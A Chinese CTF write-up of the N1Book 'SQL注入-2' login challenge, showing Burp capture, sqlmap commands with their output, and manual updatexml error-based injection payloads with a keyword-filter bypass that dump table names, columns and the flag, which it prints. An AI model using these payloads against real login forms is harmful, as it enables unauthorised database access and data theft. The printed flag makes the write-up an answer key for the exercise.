《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2
[第一章 web入门]SQL注入-2
- 一、信息收集
- 1.首页
- 2.登录成功会跳转到
- 3.进行测试判断
- 二、尝试破解
- 1.用post型的sqlmap破解
- <1>.首先,开burp截包
- <2>.输入username,passwd,提交。
- <3>.copy to file,保存为txt文件,放到sqlmap的目录,(MyFile/bf.txt)
- <4>.开始跑sqlmap破解
- <5>.按步就班
- [1].sqlmap爆当前数据库信息
- [2].sqlmap.列出指定数据库所有的表名
- [3].sqlmap 列出指定表名的所有列名
- [4].sqlmap 打印输出表名指定列名字段的值数据
- 2.手动破解(在bp上进行)[官方的答案]
- [1].判断注入类型
- [2].于是使用报错注入获取表名和列名,即可得到flag。
- [3].同理获得列名
- [4].获得flag
介绍:记录一下笔记,方便以后迅速回忆使用。
《从0到1:CTFer成长之路》书籍配套题目,来源网站:《从0到1:CTFer成长之路》
一、信息收集
1.首页
- …/login.php
2.登录成功会跳转到
- …/user.php
3.进行测试判断
[1].先用Burp suite抓包看一下
提交的信息有
name=user&pass=passwd
二、尝试破解
1.用post型的sqlmap破解
<1>.首先,开burp截包
<2>.输入username,passwd,提交。
可以看见,burp已经把id获取到了
<3>.copy to file,保存为txt文件,放到sqlmap的目录,(MyFile/bf.txt)
<4>.开始跑sqlmap破解
python sqlmap.py -r MyFile/bf.txt
- 结果
---
Parameter: name (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: name=username' AND (SELECT 1848 FROM (SELECT(SLEEP(5)))DRxp) AND 'PkUZ'='PkUZ&pass=passwd
---
成功找到注入点,那剩下的就按步就班
<5>.按步就班
[1].sqlmap爆当前数据库信息
python sqlmap.py -r MyFile/bf.txt --current-db
[10:10:29] [INFO] adjusting time delay to 1 second due to good response times
note
current database: 'note'
用sqlmap爆出库名:note
[2].sqlmap.列出指定数据库所有的表名
python sqlmap.py -r MyFile/bf.txt -D note --tables
[10:14:41] [INFO] retrieved:
[10:14:47] [INFO] adjusting time delay to 1 second due to good response times
fl4g
[10:15:02] [INFO] retrieved: users
Database: note
[2 tables]
+-------+
| fl4g |
| users |
+-------+
用sqlmap爆出表名:fl4g
,users
[3].sqlmap 列出指定表名的所有列名
- 先看
fl4g
表
python sqlmap.py -r MyFile/bf.txt -D note -T fl4g --columns
[10:18:22] [INFO] retrieved: varchar(40)
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type |
+--------+-------------+
| flag | varchar(40) |
+--------+-------------+
用sqlmap爆出列名:flag
[4].sqlmap 打印输出表名指定列名字段的值数据
python sqlmap.py -r MyFile/bf.txt -D note -T fl4g -C flag --dump
[10:23:26] [WARNING] increasing time delay to 2 seconds
in_sqli_is_nice}
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+
终于拿到flag n1book{login_sqli_is_nice}
大功告成。
2.手动破解(在bp上进行)[官方的答案]
[1].判断注入类型
页面注释中有提示,在url中加入?tips=1出现报错信息。
- 使用跟上面同样的包,改变下面的用户名和密码进行发送。
- 使用报错注入时可以发现
name=test'and
updatexml(1,concat(0x7e,(select
1)),1)#&pass=xxxx
updatexml函数在在执行时,第2个参数应为合法的xpath路径,否则会在引发错误的同时将传入的参数进行输出。
利用这个特征,针对存在报错显示的例子,将我们想得到的信息传入updatexml函数的第2个参数,
- 回显正常报错
- 请求
name=test'and
updatexml(1,concat(0x7e,(select(1)from
dual)),1)#&pass=xxxx
- 回显(响应)
string(165) "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'from
dual)),1)#'' at line 2"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
- [3].说明我们的sql语句被进行了某种替换,导致语法错误。
- 尝试
name=test'and updatexml(1,concat(0x7e,(selselectect(1)from
dual)),1)#&pass=xxxx
- 时发现回显正常
[2].于是使用报错注入获取表名和列名,即可得到flag。
- 请求
name=test'and
updatexml(1,concat(0x7e,
(selselectect(group_concat(table_name))from
information_schema.tables
where
table_schema=database())),1)#&pass=xxxx
- 响应
string(33) "XPATH syntax error: '~fl4g,users'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
爆出表名:fl4g
,users
[3].同理获得列名
- 请求
name=test'and
updatexml(1,concat(0x7e,
(selselectect(group_concat(column_name))from
information_schema.columns
where
table_name='fl4g')),1)#&pass=xxxx
- 响应
string(27) "XPATH syntax error: '~flag'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
用sqlmap爆出列名:flag
[4].获得flag
- 请求
name=test'and updatexml(1,concat(0x7e,(selselectect(flag)from
fl4g)),1)#&pass=xxxx
string(49) "XPATH syntax error: '~n1book{login_sqli_is_nice}'"
{"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
flag:n1book{login_sqli_is_nice}
《从0到1:CTFer成长之路》书籍配套题目-[第一章 web入门]SQL注入-2相关推荐
- 《从0到1:CTFer成长之路》 [第一章 web入门] 常见的搜集
<从0到1:CTFer成长之路> [第一章 web入门] 常见的搜集 启动环境: 提示为敏感文件,首先对网站目录进行扫描: 得到如上页面,首先访问robots.txt页面: 得到flag1 ...
- 从0到1:CTFer成长之路
作者:Nu1L战队 出版社:电子工业出版社 品牌:电子工业出版社 出版时间:2020-10-01 从0到1:CTFer成长之路
- 从0到1:CTFer成长之路docker环境搭建
1. 安装 docker 使用官方安装脚本安装 sudo curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun 也可以使 ...
- CTF学习记录 i春秋 《从0到1:CTFer成长之路》文件上传
21.10.19 第二次开始学习CTF 感觉很有收获 至少有让自己忙起来了的感觉 感觉有一些学习状态了 打算重新记录一下学习笔记!加油 我会坚持下去的! 题目代码 首先附上题目的代码段(不完整) sh ...
- 《从0到1:CTFer成长之路》书籍配套题目--afr_3 BUUCTF
还是任意文件读取漏洞 进入坏境 点入链接 这边可以读取文件 试一试article?name=../../../etc/passwd 读不到flag /proc详解 linux进程与它的文件描述符./p ...
- 《从0到1:CTFer成长之路》SQL注入-2
前言: 我是新手小白,创建此文章只为了记录自己的学习 题目: 我们先进入环境,老规矩先查看源码 有提示,那就先用提示来做吧,简单快捷易上手了属于是: 手工方法: 1. 随便输入一个账号试试: 输入ad ...
- 《从0到1:CTFer成长之路》1.3 任意文件读取漏洞
文章目录 1.3.1 文件读取漏洞常见触发点 1.3.1.1 web语言 1. PHP 2.python 3.Java 4.Ruby 5.Node 1.3.1.2 中间件.服务件相关 1.Nginx错 ...
- 《从0到1:CTFer成长之路》粗心的小李
前言: 我是CTF小白,创建此文章只为了记录自己学习的进度 题目: 我们先进入环境 这边给了提示,是吧git放到了外网环境,直接扫一下目录吧,查找一下git目录 git目录下是有东西的 所以我们可以利 ...
- 《从0到1:CTFer成长之路》常见的搜集
前言: 我是CTF小白,创建此文章只为了记录自己学习的进度 题目: 我们先进入环境 看到信息搜集,直接用扫目录软件开扫 扫到了这个网页,我们进去查看一下 发现他给我们提示了一个网址,我们进入这个网址 ...
最新文章
- 已开源!谷歌将AutoML应用到Transformer架构,实现机器翻译最佳性能
- Spring Cloud 2020 年路线图:二季度Spring Boot 2.3、四季度Spring Cloud Ilford
- (转)OpenSSL命令---pkcs12
- python玩转大数据视频[非原创视频]
- WindowsPhone-GameBoy模拟器开发四--Gameboy显示系统分析
- 保姆级C语言版高斯坐标正算反算倾情奉献!
- c# linq的差集,并集,交集,去重【转】
- opencv调节图片饱和度_OpenCV调整彩色图像的饱和度和亮度
- 并发编程中的重重量级模型和轻量级模型
- 71万买玛莎拉蒂,手续竟然全是假的:71万或打水漂
- 匿名内部类 可以访问外部类_Java 内部类与外部类的互访使用小结
- 干干净净用java_十四步 干干净净卸载Oracle
- 界址点圆圈怎么生成_手机联系人怎么加入黑名单
- 让ssh跳转支持ipv6
- 什么是单片机,什么是51单片机【51单片机介绍】
- Codeforces 274E. Mirror Room-模拟+STL
- 树莓派实验室python人脸识别_在树莓派上实现人脸识别
- 【STM32H743+腾讯云IOT联合开发入坑及出坑经验分享】
- 关于无法定位程序输入点 SetDefaultDllDirectories于动态链接库KERNEL32.dll 上 解决方法
- FOTA升级apply_patch解析